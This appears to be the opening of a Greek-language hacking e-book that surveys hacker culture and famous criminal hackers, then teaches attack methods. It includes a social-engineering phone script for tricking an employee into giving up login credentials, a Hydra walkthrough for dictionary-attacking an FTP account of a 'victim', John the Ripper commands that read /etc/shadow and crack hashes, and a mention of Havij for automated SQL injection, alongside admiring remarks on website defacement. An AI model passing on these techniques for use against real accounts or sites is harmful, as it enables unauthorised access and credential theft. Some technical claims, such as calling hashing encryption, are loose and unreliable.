You are on page 1of 70

Μια συλλογή από tutorial για τις πιο διαδεδομένες μεθόδους hacking

“Computer Science is no more about computers than astronomy is about telescopes”


– Edsger W. Dijkstra

by Thanasaras!

Τι είναι ένας Hacker;


Υπάρχει μία κοινωνία, μία μοιρασμένη κουλτούρα, έμπειρων
προγραμματιστών και βετεράνων των δικτύων, που έχει τις ρίζες της
ιστορίας της δεκαετίες πίσω, στην εποχή των πρώτων μινι-υπολογιστών και
των νεότερων ARPAnet πειραμάτων.
Τα μέλη αυτής της κουλτούρας καθιέρωσαν τον όρο 'hacker'. Οι hackers
έχτισαν το internet. Οι hackers διαμόρφωσαν το λειτουργικό σύστημα Unix
σε αυτό που είναι σήμερα. Οι hackers τρέχουν
το Usenet. Οι hackers κάνουν τον Παγκόσμιο Ιστό να δουλεύει. Αν είστε
μέρος αυτής της κουλτούρας, αν έχετε συμβάλει σε αυτή και άλλοι άνθρωποι
σε αυτή γνωρίζουν ποιός είστε και σας καλούν hacker, είστε ένας hacker.

Το σκεπτικό των hacker δεν περιορίζεται σε αυτή την κουλτούρα των


hacker λογισμικού. Υπάρχουν άνθρωποι που εφαρμόζουν την ιδεολογία των
hacker σε άλλους τομείς, όπως στα ηλεκτρονικά ή στη μουσική - ουσιαστικά,
μπορείς να τη βρεις στα υψηλότερα επίπεδα κάθε επιστήμης ή τέχνης. Οι
hackers λογισμικού αναγνωρίζουν αυτά τα εξευγενισμένα πνεύματα παντού
και μπορεί να τους καλέσουν κι αυτούς 'hackers' - και μερικοί ισχυρίζονται
ότι η φύση των hacker είναι πραγματικά ανεξάρτητη από το συγκεκριμένο
μέσο που δουλεύουν οι hackers. Αλλά στο υπόλοιπο αυτού του εγγράφου θα
επικεντρωθούμε στις ικανότητες των hacker λογισμικού.
Υπάρχει και μια άλλη ομάδα ανθρώπων που αυτοαποκαλούνται hackers,
αλλά δεν είναι. Αυτοί είναι άνθρωποι (κυρίως έφηβοι) που βρίσκουν
διασκεδαστικό το να εισβάλλουν σε υπολογιστές και να παραβιάζουν το
σύστημα του τηλεφώνου(Black Hat Hackers). Οι πραγματικοί hackers
ονομάζουν αυτούς τους ανθρώπους 'crackers' και δεν θέλουν να
έχουν σχέσεις με αυτούς. Οι πραγματικοί hackers κυρίως πιστεύουν πως οι
crackers είναι αργόσχολοι, ανεύθυνοι, και όχι και πολύ έξυπνοι, και το
γεγονός ότι μπορείς να σπάσεις την ασφάλεια δεν σε κάνει hacker, όπως και
το γεγονός ότι μπορείς να χαλάς αυτοκίνητα δεν σε κάνει μηχανικό
αυτοκινήτων. Δυστυχώς, πολλοί δημοσιογράφοι και συγγραφείς έχουν
ξεγελασθεί στην χρήση της λέξης 'hacker' και την χρησιμοποιούν για να
περιγράψουν τους 'crackers'. Αυτό ενοχλεί υπερβολικά τους πραγματικούς
hackers.

Η βασική διαφορά είναι αυτή: οι hackers χτίζουν πράγματα, οι


crackers τα σπάνε.
Δηλαδή, το μεγαλύτερο μέρος της διαδικασίας του 'cracking' στηρίζεται
αποκλειστικά σε προγράμματα.
Κάτι το οποίο δεν μπορεί σε καμία περίπτωση να συγκριθεί με τη δουλειά
ενός 'hacker', που με κοινή λογική και απαραίτητη ευφυΐα , εισβάλλει σε ένα
προστατευμένο 'χώρο' ώς νόμιμος διαχειριστής.
Eric Steven Raymond

Αξίζει να πούμε πως ο όρος hacker, με την κακόβουλη έννοια δημιουργήθηκε


γύρω στα τέλη του 1960, μέχρι τις αρχές του 1980 στην Αμερική. Όλα
ξεκίνησαν από τα τηλεφωνικά δίκτυα. Άνθρωποι που κατανοούσαν αυτά τα
δίκτυα είχαν τη δυνατότητα να παίρνουν τηλέφωνα απολύτως δωρεάν! Και
όλα αυτά απλώς κάνοντας ένα σφύριγμα στο ακουστικό του τηλεφώνου.
Αυτοί οι πρώτοι hackers ονομάστηκαν phonefreaks. Στη συνέχεια αυτοί οι
ήχοι έγιναν όλο και πιο περίπλοκοι με απιτέλεσμα στις μέρες μας να γίνεται
μόνο μέσω μικρουπολογιστών. Μπορείτε να δείτε μια ταινία στα Αγγλικά
στον πατακάτω σύνδεσμο. http://www.youtube.com/watch?v=u18BAZjUHhE .
Κατά την προσωπική μου άποψη αν θέλει κάποιος να ονομάζεται hacker, θα
πρέπει να γνωρίζει και την ιστορία του hacking.

Οι 5 μεγαλύτεροι παράνομοι hackers όλων των


εποχών
Αυτοί οι hackers είναι η αφρόκρεμα των ηλεκτρονικών εγκλημάτων και
συνελήφθησαν στην πλειοψηφία τους λίγα μόλις χρόνια αφού άφησαν την
εφηβεία. Κάποιοι το έκαναν για οικονομικούς λόγους κάποιοι απλά για
πλάκα.
1. Kevin Mitnick
Ο Mitnick είναι μάλλον το συνώνυμο του Ηacker. Το Υπουργείο
Δικαιοσύνης των Η.Π.Α ακόμα αναφέρεται σε αυτόν χαρακτηρίζοντας τον
ως "τον νούμερο ένα καταζητούμενο για ηλεκτρονικά εγκλήματα στην
ιστορία των Η.Π.Α.".
Τα κατορθώματά του έχουν εμπνεύσει δημιουργούς του Hol ywood και
συμπεριλαμβάνονται σε δύο ταινίες, στο Takedown και στο Freedom
Downtime. Ο Mitnick ξεκίνησε την "καριέρα" του από τον σύστημα καρτών
λεωφορείων του Los Angeles όπου μπορούσε να εκτυπώνει κάρτες για
τζάμπα διαδρομές.
Μετά από εκεί το ενδιαφέρον του στράφηκε στα κινητά τηλέφωνα και
μπήκε στο σύστημα της Digital Equipment Corporation κλέβοντας πολύτιμα
software. Από εκεί και μετά ξεκίνησε μια διαδρομή δυόμιση χρόνων περίπου
με τον Mitnick να παραβιάζει υπολογιστές, δίκτυα τηλεφώνων, κυβερνητικά
έγγραφα και δημόσια συστήματα. Αυτό που έδωσε τέλος στην πορεία του
ήταν η προσπάθεια του να παραβιάσει τον προσωπικό υπολογιστή ενός
άλλου hacker, του Tsutomu Shimomura. Αυτή την στιγμή ο Moitnick είναι
ενεργό μέλος της κοινωνίας δουλεύοντας ως υπεύθυνος ασφαλείας
υπολογιστών, σύμβουλος.
2. Adrian Lamo
Ο Lamo έχει μείνει στην ιστορία ως ένας από τους μεγαλύτερους hackers
γιατί "χτύπησε" μεγάλες εταιρίες όπως η Microsoft και η New York Times. Ο
Lamo χρησιμοποιούσε ως επί το πλείστον δημόσιες συνδέσεις internet σε
καφετέριες για να είναι πιο δύσκολο να εντοπιστεί, κάτι που του έδωσε το
παρατσούκλι "άστεγος hacker". Η λίστα των εταιριών που απέκτησε
πρόσβαση ο Lamo περιέχει επίσης τις, Υahoo!, Citigroup, Bank of
America και Cingular, βέβαια στα πλαίσια της ομάδας White Hat Hackers
οι οποίοι προσλαμβάνονται από τις ίδιες τις εταιρίες για να βρουν λάθη στο
σύστημα προστασίας τους ο Lamo δεν διέπραξε κανένα έγκλημα αλλά
παρέβη το νόμο όταν μπήκε στο ιδιωτικό σύστημα επικοινωνίας των New
York Times. Αυτή την στιγμή ο Lamo έχει εκτίσει την διετή ποινή
περιορισμού που του είχε επιβληθεί και είναι βραβευμένος δημοσιογράφος.

3. Jonathan James
Στα 16 του χρόνια ο James, έγινε ο πρώτος ανήλικος που καταδικάζεται
για ηλεκτρονικά εγκλήματα με ποινή φυλάκισης. Αργότερα παραδέχτηκε ο
ίδιος ότι το έκανε για πλάκα και απολάμβανε τις προκλήσεις. Ο James
"χτυπούσε" μεγάλους δημόσιους οργανισμούς όπως ένα παράρτημα του
Υπουργείου Δικαιοσύνης και έπαιρνε κωδικούς για να έχει πρόσβαση
σε απόρρητους λογαριασμούς e-mail. Εκτός από αυτά ο James απέκτησε
πρόσβαση στους υπολογιστές της NASA και έκλεψε πολύτιμα software
συνολικής αξίας 1,7 εκατ. δολαρίων. Αυτή την στιγμή ο James επιχειρεί να
αναπτύξει την δικιά του επιχείρηση ασφάλειας υπολογιστών.
4. Robert Tappan Morris
Ο Morris είναι γιος ενός πράκτορα της NSA και δημιουργός του Morris
worm. To worm είναι ένα είδος ιού που εξαπλώνεται και αυτό-αντιγράφεται
ανεξέλεγκτα καταστρέφοντας χιλιάδες μηχανήματα. Το συγκεκριμένο worm
ήταν το πρώτο που αναπτύχθηκε και διαδόθηκε μέσω του internet. Ο Morris
το δημιούργησε ενώ ήταν φοιτητής στο Cornel και ισχυρίστηκε ότι το έκανε
απλά για να δει πόσο μεγάλο ήταν το internet εκείνη την στιγμή.
Το worm ωστόσο άρχισε να διαδίδεται ανεξέλεγκτα προκαλώντας
πρόβλημα σε χιλιάδες υπολογιστές κάτι που κόστισε στον Morris ένα βαρύ
πρόστιμο και 400 ώρες κοινωνικής εργασίας. Σήμερα o Morris είναι
καθηγητής στο πανεπιστήμιο MIT στο τμήμα Computer Science και ο τομέας
έρευνας του είναι η αρχιτεκτονική των δικτύων υπολογιστών.
5. Kevin Poulsen
Πιο γνωστός με το παρατσούκλι του, Dark Dante, ο Kevin Poulsen έγινε
γνωστός εισβάλοντας στο τηλεφωνικό κέντρο του ραδιοφωνικού σταθμού
KISS-FM του Los Angeles παρεμβαίνοντας στις κληρώσεις και κερδίζοντας
μεγάλα δώρα μεταξύ των οποίων και μια Porsche. Το FBI άρχισε να
ασχολείται με τον Poulsen αφού απέκτησε πρόσβαση σε αρχεία της
υπηρεσίας και αποσπούσε σημαντικές και απόρρητες πληροφορίες. Η
ειδικότητά του ήταν οι τηλεφωνικές γραμμές και αποκτούσε πρόσβαση σε
μεγάλα δίκτυα προκαλώντας το χάος. Αφού συνελήφθη σε ένα
σουπερμάρκετ καταδικάστηκε για πέντε χρόνια, και ενώ ήταν στην φυλακή
δούλευε ως δημοσιογράφος και αργότερα εκδότης των Wired News.
Αυτοί ήταν και οι πιο γνωστοί παράνομοι hackers στην ιστορία των Η.Π.Α
αλλά δεν θα πρέπει να ξεχνάμε και την άποψη των πολλών που ισχυρίζονται
ότι οι μεγαλύτεροι και καλύτεροι hackers είναι αυτοί που δεν τους ξέρει
κανείς!

Πρίν επικεντρωθούμε στις βασικές ικανότητες των hackers, θα πρέπει να


καταλάβουμε πους οι hackers χωρίζονται σε 3 κατηγορίες:

Grey Hat Hackers


Grey hat hackers ονομάζονται οι χάκερς οι οποίοι "χακέρουνε" τις
διάφορες ιστοδελίδες όχι με κακό σκοπό, αλλά με σκοπό να
προβάλλουν κάποιο κοινωνικό μήνυμα που θα κάνει τον κόσμο
"καλύτερο". Το πιό γνωστό παράδειγμα είναι η ομάδα Anonymous, ενώ από
την Ελλάδα η Greek Hacking Scene.
Black Hat Hackers
Έτσι ονομάζονται οι χάκερς οι οποίοι χακάρουν τις ιστοσελίδες είτε για την
πλάκα τους, είτε για χρηματικό κέρδος κτλ. Η πράξη τους δηλαδή είναι
αδικαιολόγητη και γίνεται χωρίς κανέναν λόγο, αντίθετα με τους παραπάνω.
Αυτοί οι hackers, συνήθως δεν ανήκουν σε ομάδες και είναι σχεδόν
αυτόνομοι, γι΄αυτό και εντοπίζονται δύσκολα από τις αρχές.

White Hat Hackers


Ονομάζονται οι χάκερς, οι οποίοι εργάζονται για διάφορες εταιρίες, που
έχουν ως σκοπό την βελτίωση και την τεθωράκηση κάποιων ιστοσελίδων.
Αυτοί προσπαθούν, εν γνώση του διαχειριστή της ιστοσελίδας να
τρυπώσουν σε αυτήν. Εάν το κάνουν αναφέρουν αυτή την τρύπα στον διαχ.
και στην συνέχεια την κλείνουν, ώστε να μην μπορέσουν άλλοι χάκερς να
μπούν. Αποσκοπούν δηλαδή σε ασφαλέστερο ίντερνετ(όχι τόσο ώστε να
χάσουν τις δουλείες τους . .).

Τα εργαλεία ενός Hacker.


Η ζωή ενός hacker, μπορεί να μην εξαρτάται από τα "εργαλεία" του, τα
προγράμματα που χρησιμοποιεί δηλαδή αλλά είναι αυτά που κάνουν τη ζωή
του πιο εύκολη. Πάντα, ένας Hacker δεν εξαρτάται από τα προγράμματα
αλλά πάντα είναι αναγκαία σε θέματα χρόνου.
Για παράδειγμα αν κάποιος θελήσει να επιτεθεί σε κάποια ιστοσελίδα θα
πρέπει να ξέρει αν έχει κάποια ευπάθεια. Αυτό χειροκίνητα, ανοίγοντας και
τεστάροντας κάθε σελίδα ξεχωριστά θα είναι πολύ πιο χρονοβόρο από ένα
πρόγραμμα που το μόνο που κάνεις είναι να βάλεις τη URL και να πατήσεις
έναρξη. Ένα τέτοιο πρόγραμμα είναι και το Acunetix vulnerability scanner.
Ακόμα, υπάρχουν και άλλα εξελιγμένα προγράμματα που κάνουν
αυτοποιημένες επιθέσεις, αλλά πάντα αυτά τα προγράμματα δεν μπορούν
να συγκριθούν με τις γνώσεις ενός Hacker, που ξέρει πως να αντιμετωπίσει
καλύτερα τα "ψεγάδια", ή τα απρόοπτα. Ένα πρόγραμμα που εκτελεί
αυτόματα SQL Injection (θα αναφερθούμε στην συνέχεια) είναι το Havij 1.15.

Βασικές Ικανότητες του Hacking:


Προγραμματισμός

O προγραμματισμός αποτελεί την πιο βασική κατά την γνώμη μου


ικανότητα ενός hacker. Αν δεν γνωρίζεις καμία γλώσσα προγραμματισμού
σου συνιστώ να ξεκινήσεις με την Python. Όπως υποστηρίζει και ο Eric
Steven Raymond η Python είναι καθαρά σχεδιασμένη, καλά τεκμηριωμένη,
και σχετικά φιλική προς τους αρχάριους. Εκτός από το ότι αποτελεί μια καλή
πρώτη γλώσσα, δεν είναι απλώς ένα παιχνίδι. Είναι πολύ ισχυρή και
ελαστική και κατάλληλη για μεγάλα projects. Για να ξεκινήσεις με την Python
χρειάζεσαι έναν καλό “tutorial” για αρχάριους το οποίο μπορείτε να βρείτε
και στο site της Python.Ακόμα μπορείτε να ξεκινήσετε και με
μικρά tutorials,από το Youtube(http://www.youtube.com/watch?
v=4Mf0h3HphEA).
Άλλες χρήσιμες για τον hacker γλώσσες προγραμματισμού είναι η “Perl”, η
“C”(και η C++) και η “Lisp'', τις οποίες όμως θα χρειαστεί να μάθεις
αφού πρώτα μάθεις καλά την Python. Επίσης πολύ σημαντική είναι η HTML η
οποία ειδικεύεται στην περιγραφή της δομής μιας ιστοσελίδας. Δεν είναι
αρκετό να γνωρίζεις πως να χρησιμοποιήσεις έναν
Browser (φυλλομετρητή). Η html θα σου διδάξει καλές συνήθειες και για τις
υπόλοιπες γλώσσες. Μια καλή δοκιμασία για να τεστάρεις τις γνώσεις σου
πάνω στην html είναι η δημιουργία μιας ιστοσελίδας.

Βασικές Ικανότητες του Hacking: Χρήση Unix


Θα θεωρήσω πως έχεις έναν προσωπικό υπολογιστή ή πως έχεις πρόσβαση
σε έναν. Το πρώτο και το πιο σημαντικό που μπορεί να κάνει ένας αρχάριος
ώστε να αρχίσει την πορεία του στο hacking, είναι να πάρει μια διανομή
Linux να την εγκαταστήσει σε έναν προσωπικό υπολογιστή. Ναι, υπάρχουν
και άλλα λειτουργικά συστήματα στον κόσμο εκτός από το Unix. Αλλά όλα
τα άλλα μοιράζονται σε δυαδική μορφή - δεν μπορείς να διαβάσεις τον
κώδικα και δεν μπορείς να τον τροποποιήσεις. Το να προσπαθείς να μάθεις
να κάνεις hacking σε μια μηχανή Microsoft Windows ή σε οποιοδήποτε άλλο
σύστημα κλειστού κώδικα, είναι σαν να
προσπαθείς να μάθεις να χορεύεις ενώ φοράς μια πανοπλία.
Το Unix είναι το λειτουργικό σύστημα του Internet. Πολύ δύσκολα
προσβάλλεται από ιούς, καθώς οι περισσότεροι είναι "σχεδιασμένοι
αποκλειστικά για Windows.Σχεδόν όλοι οι χρήστες μάλιστα δεν
χρησιμοποιούν καν κάποιο αντιικό λογισμικό, και είναι εντελώς δωρεάν, σε
αντίθεση με τα Windows, τα οποία χρησοπληρώνουμε.
Ενώ μπορείς να μάθεις να χρησιμοποιείς το Internet χωρίς να γνωρίζεις το
Unix, δεν μπορείς να γίνεις Internet hacker χωρίς να καταλαβαίνεις το Unix.
Για αυτό το λόγο, η κουλτούρα των hacker σήμερα είναι ιδιαίτερα
επικεντρωμένη στο Unix. (Αυτό δεν ήταν πάντα αλήθεια , και κάποιοι παλιοί
hackers ακόμα δεν είναι ευχαριστημένοι με αυτό, αλλά η συμβίωση
ανάμεσα στο Unix και στο Internet έχει γίνει τόσο δυνατή που ούτε ο μυς της
Microsoft δεν φαίνεται ικανός να την κάμψει σοβαρά.)
Επιπλέον, τα linux ανταποκρίνονται πολύ καλά στο multitasking, δηλαδή
είναι πολύ γρήγορα και δεν κολλάνε κατά τη χρησιμοποίηση πολλών
προγραμμάτων.
Παρακάτω ακολουθεί οδηγάς για εγκατάσταση την διανομής ubuntu (το
ubuntu είναι κατά την γνώμη η πιο φιλική για τον χρήστη διανομή linux).
Κάνουμε επανεκκίνηση του Υπολογιστή με το dvd φορτωμένο και επιλέγουμε
boot από το tray (CD/DVD Drive). Στην πρώτη οθόνη που εμφανίζεται,
επιλέγουμε γλώσσα εγκατάστασης και δίδουμε εντολή για φόρτωμα του
Linux.

Το επόμενο βήμα είναι να αποδεχθούμε την Γλώσσα για το πληκτρολόγιο,


την περιοχή και την ζώνη ώρας.
Σε συνέχεια επιλέγουμε την Διαμέριση δίσκων. Δημιουργούμε το βασικό
επιλέγοντας το Journal ext 3 (πράσινο χρώμα) και σε συνέχεια δημιουργούμε
το SWAP (πορτοκαλί χρώμα) και το οποίο πρέπει να είναι το διπλάσιο της
μνήμης του P/C και του δίδουμε την εντολή για μορφοποίηση και
Εγκατάσταση.
Κατόπιν κάνουμε επιλογή-εγκατάσταση του βασικού συστήματος, εφόσον
πρώτα δώσουμε τα στοιχεία με τα οποία θα κάνουμε την σύνδεση κατά την
έναρξη του λειτουργικού καθώς επίσης και τον root. Μας ζητά την
επιβεβαίωση των δεδομένων και δίδουμε την εντολή να ξεκινήσει η
εγκατάσταση.
Με το πέρας της εγκατάστασης, που κρατά από 45΄ Λεπτά έως και 1h:15΄
Λεπτά, ανάλογα με την ταχύτητα του P/C, μας ζητά να αφαιρέσουμε το DVD
και να πραγματοποιήσουμε επανεκκίνηση.
Μετά την επανεκκίνηση γίνετε εισαγωγή στο λειτουργικό δίδοντας τον
user και τον κωδικό, εφόσον πριν έχουν γίνει μερικές τελευταίες ρυθμίσεις
(αυτόματα).

Deface
Deface είναι όταν ένας χάκερ αλλάζει την αρχική σελίδα μιας ιστοσελίδας με
σκοπό να προβάλλει την αιτία που χάκαρε την συγκεκριμένη ιστοσελίδα.
Δείτε από κάτω ένα Deface της Σκηνής(Greek Hacking Scene -GHS),
πατριωτικού, και όχι εθνικιστικού Ελληνικού κινήματος, και ίσως το
μεγαλύτερο στην Ευρώπη που απαρτίζεται από πολλούς Έλληνες χάκερς.
Passwords - Κωδικοί
Στις μέρες μας, οι κωδικοί είναι το μόνο μέτρο προστασίας στα
περισσότερα site και υπολογιστικά συστήματα. Έχει καταντήσει να είναι ο
ποιο εύκολος και απλός τρόπος για να εισβάλλει ένας hacker σε ένα
σύστημα.

Password Cracking – Σπάσιμο κωδικών


Social Engineering – Κοινωνική μηχανική είναι η πράξη της προφορικής
χειραγώγησης ατόμων με σκοπό την απόσπαση πληροφοριών. Αν και
παρόμοια με το τέχνασμα ή την απλή απάτη, ο όρος είναι κυρίως
συνδεδεμένος με την εξαπάτηση ατόμων με σκοπό την απόσπαση
εμπιστευτικών πληροφοριών που είναι απαραίτητες για την πρόσβαση σε
κάποιο υπολογιστικό σύστημα. Συνήθως αυτός που την εφαρμόζει δεν
έρχεται ποτέ πρόσωπο με πρόσωπο με το άτομο που εξαπατά ή παραπλανά.
Παρόλο που ο όρος ίσως να μην είναι ακριβής ή επιτυχημένος έχει πλέον
καθιερωθεί. Ο πρώην εγκληματίας υπολογιστών και αργότερα σύμβουλος
ασφαλείας πληροφορικών συστημάτων Κέβιν Μίτνικ διέδωσε τον όρο
"κοινωνική μηχανική", επισημαίνοντας ότι είναι πολύ ευκολότερο να
ξεγελάσεις κάποιον να δώσει έναν κωδικό πρόσβασης για ένα σύστημα από
το να προσπαθήσεις να τον σπάσεις. Παρακάτω ακολουθεί ένα απλό
παράδειγμα κοινωνικής πρόσωπα της συνομιλίας είναι: ένας υπάλληλος
μεγάλης εταιρίας – θύμα
hacker που πραγματοποιεί μια επίθεση κοινωνικής μηχανικής.

-hacker: Για σας κύριε <όνομα υπαλλήλου> , το όνομα μου είναι <τυχαίο
όνομα> και καλώ από την software service. Αυτήν την στιγμή
προσπαθούμε να αναβαθμίσουμε το λογισμικό στους υπολογιστές της
εταιρίας σας αλλά δεν μπορούμε να συνδεθούμε στην βάση δεδομένων σας.
Θα μπορούσατε μήπως να με βοηθήσετε με τα στοιχεία εισόδου (κωδικοί)
ώστε να μην βρω τον μπελά μου με το αφεντικό μου?! Θα σας ξανά
τηλεφωνήσω σε λίγα λεπτά μόλις πραγματοποιηθεί η αναβάθμιση.
Προφανώς ο υπάλληλος της εταιρίας θα δώσει στον hacker τον κωδικό
χωρίς καμία πιστοποίηση.
Dictionary Attacks είναι η τεχνική που ο hacker προσπαθεί να βρει τον
κωδικό εισόδου ενός άλλου χρήστη χρησιμοποιώντας μια λίστα(wordlist)
από πιθανούς κωδικούς πρόσβασης. Παρακάτω ακολουθεί ένας οδηγός για
την χρήση του Hydra.
Εγκαταστήστε το Hydra, και τρέξτε την έκδοση που υποστηρίζεται από το
λειτουργικό σας σύστημα.Στην περίπτωση μας θέλουμε να σπάσουμε έναν
κωδικό σε ένα ftp(File Transfer Protocol) server έτσι συμπληρώνουμε την
διεύθυνση του server (π.χ.Ftp.tripod.com), το πρωτόκολλο (π.χ. Ftp, ανάλογα
με την περίπτωση) και την θύρα (στην περιπτωση μας 21).

Έπειτα πάμε στην καρτέλα με τίτλο Passwords, ήρθε η ώρα να


δηλώσουμε το όνομα χρήστη του θύματος καθώς και την λίστα με τους
πιθανούς κωδικούς.
Οι υπόλοιπες καρτέλες και επιλογές είναι προαιρετικές και δεν θα μας
απασχολήσουν σε αυτόν τον οδηγό. Οπότε μπορούμε πολύ απλά να
τελευταία καρτέλα με τίτλο “Start” για να ξεκινήσουμε την διαδικασία
εύρεσης του password.
Κάνουμε κλικ στο κουμπί “Start” και περιμένουμε να ολοκληρωθεί η
διαδικασία, μόλις ολοκληρωθεί θα εμφανιστεί στην οθόνη το ονομα χρήστη
και ο κωδικός πρόσβασης άν αυτός υπάρχει μέσα στην λίστα με τους
πιθανούς κωδικούς.
Brute-force Attacks είναι επιθέσεις που δοκιμάζουν κάθε πιθανό
χαραχτήρων μέχρι να βρουν τον πραγματικό κωδικό εισόδου σε μια
υπηρεσία. Οι Brute-force επιθέσεις είναι πολύ χρονοβόρες, καθώς ο χρόνος
εύρεσης του κωδικού εξαρτάτεται από το μήκος (σε χαρακτήρες), την
πολυπλοκότητα του κωδικού (σε χαρακτήρες) καθώς επίσης και την
επεξεργαστική ισχύ του υπολογιστή πραγματοποιεί την επίθεση. Παρακάτω
ακολουθεί ένας οδηγός για το σπάσιμο ενός συστήματος με την χρήση του
John the Ripper (Ο Ιωάννης ο Αντεροβγάλτης)
γρηγορότερος password cracker, διατίθεται για συστήματα Unix-like,
Windows, BeOs και για OpenVMS. Ο John The Ripper χρησιμοποιείται
από τους διαχειριστές συστημάτων για να "τεστάρουν" τον password τους
σε ασφαλείας, αν "σπάει" γρήγορα και σε πόσο χρόνο. Επίσης,σε
ξεχάσουμε τον password ενός συστήματος μπορούμε να τον ξαναβρούμε
με αυτό το πρόγραμμα. Γενικότερα το χρησιμοποιούμε για να "σπάμε"
password !

ΕΓΚΑΤΑΣΤΑΣΗ-ΧΡΗΣΗ
Η εγκατάσταση που ακολουθεί παρακάτω, αναφέρεται σε ένα σύστημα
GNU/linux i686.
1.πηγαίνουμε σε μια directory για να ξεκινήσουμε ανοίγουμε ένα Shel και
γράφουμε,
Α. $ cd /var/tmp
2.κατεβάζουμε το John The Ripper
Β. $ wget http://www.openwal .com/john/b/john-1.6.tar.gz
3. αποσυμπιέζουμε το John The Ripper
Γ. $ tar xzvpf john-1.6.tar.gz
4. μπαίνουμε στην directory των "πηγών" του John The Ripper
Δ. $ cd john-1.6/src
5. γινόμαστε root
Ε. $ su
και γράφουμε...
Ζ. # make linux-x86-mmx-elf
( για τους ubuntu-αδες, προσπερνάτε το βημα 5 και γράφεται sudo make
linux-x86-
mmx-elf!)
6. μπαίνουμε στην directory
Η. # cd . /run/
Πρώτα από όλα πρέπει να χρησιμοποιήσουμε την εντολή που ενώνει σε
ένα αρχείο όλα τα hash των αρχείων
/etc/passwd και /etc/shadow στο αρχειο passwords.
Γράφουμε λοιπόν....
# ./unshadow /etc/passwd /etc/shadow > passwords
Ώστε να ακολουθήσει έπειτα μια διαδικασία,αρκετά χρονοβόρα, bruteforce
όπου μπορεί να μας δώσει πολύ καλά αποτελέσματα.
Γράφουμε...
# ./john passwords
Χρησιμοποιώντας την παρακάτω εντολή μπορείτε να εμφανίσεται τις
επιλογές του προγράμματος.
# ./john
Σε αυτό το σημείο θα σας δώσω ένα απλό παράδειγμα της χρήσης του...
Δημιουργούμε τον user "test"! με password την λεξη "secret"!
Θα επιχειρήσουμε με το John The Ripper να βρούμε την password του εν
λόγω
χρήστη στο σύστημα μας.
1. # adduser test
2. # passwd test [secret]
3. # ./unshadow /etc/passwd /etc/shadow > passwords
4. # ./john -i:alpha passwords
Loaded 4 passwords with 4 different salts........κ.λ.π.
Έτσι λοιπόν σε ελάχιστο χρόνο βρίσκεται τον password "secret" του user
"test"!
Μπορείτε να συνεχίσετε την ανάλυση η να την διακόψετε από το
"πατώντας" CTRL+C. Αν θέλετε να συνεχίσετε από εκεί που σταμάτησε το
πρόγραμμα γράφετε
# ./john -restore
Με την παρακάτω εντολή, δύνασθε ανά πάσα στιγμή να "βλέπετε" τους
password σε κάθε στιγμή της διαδικασίας...
# ./john -show passwords
test:secret:502:502: /home/test:/bin/bash
1 password cracked, 3 left
Τώρα μπορείτε να "σβήσετε" τον χρήστη του παραδείγματος μας με την
# userdel test

Rainbow Tables 'Ένα rainbow table είναι μια τεράστια λίστα από Hash
για κάθε πιθανό συνδυασμό χαραχτήρων. Ένα κωδικός Hash είναι ένας
κωδικός ο οποίος έχει μετατραπεί σε κάτι εντελώς διαφορετικό με την
χρήση μαθηματικών αλγορίθμων.
Τα hash (από κατασκευής) δεν δεν μπορούν να αποκρυπτογραφηθούν.
Ένας πολύ κοινός τρόπος κρυπτογράφησης των hash είναι ο αλγόριθμος
MD5 ο χρησιμοποιέιτε στα περισσότερα web sites. Ας πούμε ότι εγγράφεσε
σε ένα site, χρησιμοποιείς εναν κωδικό αυτός ο κωδικός μέσω του
αλγόριθμου MD5 μετατρέπετε σε hash και αποθηκεύεται στο site. Όταν
συνδέεσαι στο site ο κωδικός που εισάγεις μετατρέπετε σε hash μέσω του
αλγόριθμου MD5 και συγκρίνεται με το hash του κωδικού που είχες δηλώσει
κατά την εγγραφή σου στο site, αν είναι ίδια, τότε σύνδεση σου στο site
επιτρέπεται. Κάθε συνδυασμός χαρακτήρων δημιουργεί ένα
διαφορετικό hash, έτσι άμα έχεις μια λίστα από hash για κάθε πιθανό
χαρακτήρα μπορείς να σπάσεις κωδικούς πολύ πιο γρήγορα από ότι με
μεθόδους brute-force και dictionary. Το μόνο κακό είναι οτι καταλαμβάνουν
τεράστιο χώρο στο σκληρό δίσκο του υπολογιστή. Ένα παράδειγμα του
rainbow table cracking θα δούμε στο κεφάλαιο
“Windows Password Hacking”.

Domain names
Είναι βασική γνώση για κάποιον που θέλει να ασχοληθεί με το "θέμα" να
γνωρίζει τι είναι τα domain names. Αρχικά να πούμε πως αν κάποιος θέλει
να φτιάξει μια ιστοσελίδα πρέπει σε πρώτη φάση να πληρώσει το όνομά της.
Για παράδειγμα το Facebook, έχει "αγοράσει" το όνομα
Facebook.com(πληρόνοντας κάθε χρόνο ένα ποσό γύρω στα 15 ευρώ). Το
Facebook ονομάζεται domain name και το .com ονομάζεται top level domain
tld. Χάρις την αρχή Internet Assigned Numbers Authority (IANA)
κατηγοριοποιεί τα top-level domains σε τρεις τύπους top level domain
tld(χωρίς αυτό να σημαίνει πως είναι μόνο αυτοί). Για παράδειγμα οι
κατλήξεις που παραπέμπουν σε χώρες, που τις περισσότερες φορές
αποτελούνται από 2 γράμματα. Π.χ. .gr, .fr, .cn, .tr, .co.uk(Ην. Βασίλειο) κτλ.
Αυτά τα top level domains tld ονομάζονται ειδικότερα top level domain tld
cc.
Φυσικά υπάρχουν και άλλα 2 είδη. Το ένα είναι οι γνωστές μας
καταλήξεις(που απαρτίζονται από 3 γράμματα) . gov , .org , .mil , .com ...
Αυτά ονομάζονται top level domain gTLD.
Η τελευταία κατηγορία είναι τα δομικά top-level domains, με μοναδικό το
arpa.
Τι είναι τα blogs. Τα blogs είναι κανονικές ιστοσελίες με λίγες διαφορές
που θα πούμε παρακάτω. H βασικότερη διαφορά με μία ιστοσελίδα τύπου
mysite.gr, είναι πως στα blogs δεν χρειάζετε να πληρώσουμε απολύτως
τίποτα για να φτιάξουμε μια τέτοιου είδους ιστοσελίδα. Η μορφή μιας
τέτοιας ιστοσελίδας θα είναι αντίθετα με τις άλλες τύπου
mysite.blogspot.com. Δηλαδή πάντα μετά το όνομα που επιλέξαμε θα είναι
το blogspot.com. Επίσης αξίζει να πούμε πως τα blogs είναι απολύτως
ανώνυμα, αν τα "ανοίξουμε" και τα διαχειριζόμαστε από κάποιο νετ καφέ.
Αυτός είναι και ο λόγος που αρκετοί hackers έχουν και ένα προσωπικό blog
που γράφουν τις απόψεις τους κτλ. Είναι βασικότατο για κάποιον "χάκερ"
να έχει ένα blog ώστε να μάθει να πειραματίζεται με τον κώδικα της σελίδας
του, πάντα γραμμένο σε γλώσσα HTML. Αυτό είναι βασικό γιατί μπορεί να
μάθει πιο εύκολα τη γλώσσα μέσα από τη χρήση που θα τον βοηθήσει στα
